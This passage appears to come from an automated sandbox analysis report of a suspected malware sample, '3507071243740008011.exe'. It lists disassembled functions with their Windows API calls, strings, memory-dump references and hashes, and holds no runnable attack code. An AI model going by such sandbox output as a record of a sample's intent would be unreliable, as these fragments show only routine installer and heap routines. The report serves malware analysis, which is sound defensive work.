LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
DeleteObject.GDI32(00000000), ref: 00401DA8

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9ccf06a462700f0ed3a97b5983b11f9e7e1ee2bcf46f86b5230f61e7ee9921c4
Instruction ID: face61d34558c4de7c2b3a6e9a6cb1e1a296a7661f17e088ac2b3614559d71e0
Opcode Fuzzy Hash: 9ccf06a462700f0ed3a97b5983b11f9e7e1ee2bcf46f86b5230f61e7ee9921c4
Instruction Fuzzy Hash: 2DF0FF72604518AFDB01DBE4DF88CEEB7BCEB48341B14047AF641F6191CA749D019B78

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: d3cd4e237e97a83a370d1370055c4bdc9f0797550a95890627c0fc6a79ec6b1b
Instruction ID: 74a91dccfe9731269d403f92625f9bdea7e35384dcad0b9637cdbdb8d435ba20
Opcode Fuzzy Hash: d3cd4e237e97a83a370d1370055c4bdc9f0797550a95890627c0fc6a79ec6b1b
Instruction Fuzzy Hash: 4D21C171948209AEEF05AFA5CE4AABE7BB4EF84308F14443EF502B61D0D7B84541DB18

Function 00404AA2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B43
wsprintfW.USER32 ref: 00404B4C
SetDlgItemTextW.USER32(?,0042D248), ref: 00404B5F

Strings

%u.%u%s%s, xrefs: 00404B2D

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c9a6e7e492f6bdeefc1d450629950baf89c1ca8cbbe940ede2bd0e57b0caaae8
Instruction ID: a69b8d9c405cb410f429d1b91b3aaf5cd8934f07bb3ea9cf38393447591b3b6c
Opcode Fuzzy Hash: c9a6e7e492f6bdeefc1d450629950baf89c1ca8cbbe940ede2bd0e57b0caaae8
Instruction Fuzzy Hash: EA11EB736041283BDB00A66DDC42E9F369CDB81338F154237FA66F21D1D9B8D82146E8

Function 00405B53 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403360,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405B59
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403360,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405B63
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405B75

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B53

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction ID: 33d5b4b63083ad43afaa288e046e1f08ed21b79f7f5b9eb46acb358563388364
Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction Fuzzy Hash: 86D05E31101924AAC121BB549C04DDF63ACAE86304342087AF541B20A5C77C296286FD

Function 00402E5D Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040303D,00000001,?,00000006,00000008,0000000A), ref: 00402E70
GetTickCount.KERNEL32 ref: 00402E8E
CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EAB
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402EB9

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 081ae59ec46762087058598088bc932b8811e33f16b6ee3d01574ac3e4d85d66
Instruction ID: fb236cf74f4011b48551144809540ae7a3d608603197ef92b98d1837a73ee17d
Opcode Fuzzy Hash: 081ae59ec46762087058598088bc932b8811e33f16b6ee3d01574ac3e4d85d66
Instruction Fuzzy Hash: BDF05E30941620EBC6316B20FF0DA9B7B69BB44B42745497AF441B19E8C7B44881CBDC

Function 004038FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,004038D3,004036E9,00000006,?,00000006,00000008,0000000A), ref: 00403915
GlobalFree.KERNEL32(?), ref: 0040391C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040390D

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction ID: e66732d9f8c7dde22b06ec40e1a6716a7c13e86cf839674f34118547447e98ef
Opcode Fuzzy Hash: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction Fuzzy Hash: 95E012739019209BC6215F55ED08B5E7B68AF58B22F05447AE9807B26087B45C929BD8

Function 00405B9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3507071243740008011.exe,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BA5
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3507071243740008011.exe,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BB5

Strings

C:\Users\user\Desktop, xrefs: 00405B9F

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction ID: a8af4f0e04a9cb416ac945bb8770274a79718c16fb62e87aa8b604c5d62251ee
Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction Fuzzy Hash: D5D05EB24019209AD3126B08DC00DAF73A8EF5230074A48AAE841A6165D7B87D8186AC

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405CD9 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D01
CharNextA.USER32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D12
lstrlenA.KERNEL32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D1B

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: eb4b2eb4961b7d09ea4a34ed08b3b50e56f073c3670a6d3e208c08a45fec6953
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 10F0F631204918FFD7029FA4DD0499FBBA8EF16350B2580BAE840FB211D674DE01AB98

Analysis Process: 3507071243740008011.exePID: 8124, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Executed Functions

Function 36D935C0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 36D935CA

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2af69828eadd72cc7d790b077e71691c1745cd6ab2fd93e069bd2c2a75f4360a
Instruction ID: 7c285d80951b3836e40425ea0b0e2b6ba546558ca6b0ebcb126118c8323f4f4b
Opcode Fuzzy Hash: 2af69828eadd72cc7d790b077e71691c1745cd6ab2fd93e069bd2c2a75f4360a
Instruction Fuzzy Hash: A1900271B4960402D20071988514B06100647D0201F65C412A542463CD87958A5565A2

Function 36D92DF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 36D92DFA

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e148e907081296fdf1f20f1bb9e98a4d04e4381a8c9354387d7ca7b702aefe0
Instruction ID: ecad89796e639348efc496d93f55834195e1a754f47d00b1fb6fe10d0ecc4517
Opcode Fuzzy Hash: 7e148e907081296fdf1f20f1bb9e98a4d04e4381a8c9354387d7ca7b702aefe0
Instruction Fuzzy Hash: AA90027174550413D21171988504B07000A47D0241F95C413A542462CD96568A56A121

Non-executed Functions

Function 36DF94E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 36DF9688
RtlDebugPrintTimes.NTDLL ref: 36DF9727
RtlDebugPrintTimes.NTDLL ref: 36DF9807
RtlDebugPrintTimes.NTDLL ref: 36DF98E5
RtlDebugPrintTimes.NTDLL ref: 36DF99EA
RtlDebugPrintTimes.NTDLL ref: 36DF9A81
RtlDebugPrintTimes.NTDLL ref: 36DF9B94
RtlDebugPrintTimes.NTDLL ref: 36DF9CFC

Strings

, xrefs: 36DF9AD7
, xrefs: 36DF9B84
0, xrefs: 36DF9BF6

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 6b50d9a61c30c5d7bb4cf16196ccd75913ed126b2b7c87e60e44723ae2e920de
Instruction ID: 3d68648b6187e90e4617fae9607241a421edbd5a54c081dbf7d8e29714648ede
Opcode Fuzzy Hash: 6b50d9a61c30c5d7bb4cf16196ccd75913ed126b2b7c87e60e44723ae2e920de
Instruction Fuzzy Hash: E13235B1A183818FE310CF69C880B5BBBE5BF88344F15492EF59A8B350D776D949CB52

Function 36E00274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 36E002A8

Strings

About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 36E004D3
RtlReAllocateHeap, xrefs: 36E002BF, 36E00362
About to reallocate block at %p to %Ix bytes, xrefs: 36E003BA
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 36E0069F
Just reallocated block at %p to %Ix bytes, xrefs: 36E005F1
HEAP[%wZ]: , xrefs: 36E00399, 36E004A8, 36E005D0, 36E00675, 36E006CC
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 36E006EA
HEAP: , xrefs: 36E003A6, 36E004B5, 36E005DD, 36E00682, 36E006D9

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 3446177414-1700792311
Opcode ID: 9f184e7b9f826e91f648a6b4341e50ce7c76c5b93d1802d6aaab2d26958699f1
Instruction ID: eb1817aef793023c6bd9474fe555463318ab24ff2bc5e9abf7865ce54e756b00
Opcode Fuzzy Hash: 9f184e7b9f826e91f648a6b4341e50ce7c76c5b93d1802d6aaab2d26958699f1
Instruction Fuzzy Hash: 52D14579910680EFDB12DFB6C840AADBBF2FF19309F448049E444AB651CB34D98ACF65

Function 36DFF525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DFF556

Strings

Just allocated block at %p for %Ix bytes, xrefs: 36DFF708
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 36DFF7BE
HEAP[%wZ]: , xrefs: 36DFF6E7, 36DFF794, 36DFF7EB
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 36DFF809
RtlAllocateHeap, xrefs: 36DFF56D
HEAP: , xrefs: 36DFF6F4, 36DFF7A1, 36DFF7F8

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: 778d01c5b67104364772d99d2205849f42a2423cc52d47114c88fbad2bff3c02
Instruction ID: f0bd6f0ee50cd04f7f8fe09effe04abfa5bb245ce3d47a1329c54993284c4992
Opcode Fuzzy Hash: 778d01c5b67104364772d99d2205849f42a2423cc52d47114c88fbad2bff3c02
Instruction Fuzzy Hash: 0F912276920740EFDB02CFBAC840A9DBBF2FF19714F568059E444AF6A1CB369845CB61

Function 36E012ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Heap block at %p has incorrect segment offset (%x), xrefs: 36E0181A
Heap block at %p is not last block in segment (%p), xrefs: 36E017B7
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 36E018F8
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 36E018A5
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 36E0176D
HEAP[%wZ]: , xrefs: 36E016CD, 36E016F9, 36E01749, 36E0179B, 36E017FC, 36E01840, 36E018D9
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 36E0186B
HEAP: , xrefs: 36E01706, 36E01756, 36E017A8, 36E01809, 36E0184D, 36E01895, 36E018E6
Free Heap block %p modified at %p after it was freed, xrefs: 36E0171B

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: d30a97d38b7e579687bdfce599dfd35417f2377c8eb40dfd5edbc726cb12caa9
Instruction ID: 30f2c9ef4b08f09e575d407cdeaedbec6d48f1bc9504fc7aafca8e2538c698e0
Opcode Fuzzy Hash: d30a97d38b7e579687bdfce599dfd35417f2377c8eb40dfd5edbc726cb12caa9
Instruction Fuzzy Hash: 6912BE78A00741EFE7168FA6C440BA6BBF5FF09318F548459E4858F691DB34E889CFA1

Function 36D4D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

Control Panel\Desktop, xrefs: 36D4D45D
MachinePreferredUILanguages, xrefs: 36D4D685
@, xrefs: 36D4D3E9
PreferredUILanguagesPending, xrefs: 36DAA8DE
@, xrefs: 36D4D663
@, xrefs: 36D4D49D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 36D4D3B6
PreferredUILanguages, xrefs: 36D4D4B8, 36D4D4C5
Control Panel\Desktop\MuiCached, xrefs: 36D4D62B

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
